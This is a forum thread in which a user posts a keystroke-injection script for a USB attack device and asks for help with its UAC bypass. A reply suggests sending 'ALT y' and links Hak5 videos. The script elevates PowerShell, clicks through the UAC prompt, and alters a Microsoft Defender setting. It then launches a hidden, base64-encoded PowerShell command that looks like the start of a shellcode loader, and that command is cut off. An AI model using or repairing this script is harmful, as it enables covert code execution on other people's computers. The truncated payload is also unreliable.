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I made this script but the UAC bypass doesn't seem to work. When I try it myself on my keyboard it works. I think it is a problem with the LEFTARROW command. 
If anyone knows please comment! Thanks!
 
Thomas
 
 DELAY 3000
CONTROL ESCAPE
DELAY 200
STRING powershell
DELAY 1500
CTRL-SHIFT ENTER
DELAY 500
REM Probably the problem!!!
LEFTARROW
DELAY 20
ENTER
DELAY 2000
STRING Set-MpPreference -DisableAutoExclusions $true
DELAY 30
ENTER
DELAY 500
STRING exit
DELAY 20
ENTER
CONTROL ESCAPE
STRING cmd
DELAY 1500
ENTER
powershell -nop -win hidden -noni -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAenc.
DELAY 40
ENTER
DELAY 5000
STRING exit
DELAY 30
ENTER 
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Maybe take a look at this video.  I believe that they did what you are looking for in their ducky script, and may have linked to it too.  I think they did it with "ALT y", rather than LEFTARROW.

https://www.hak5.org/episodes/season-21/hak5-2101-15-second-password-hack-mr-robot-style

https://www.hak5.org/blog/15-second-password-hack-mr-robot-style

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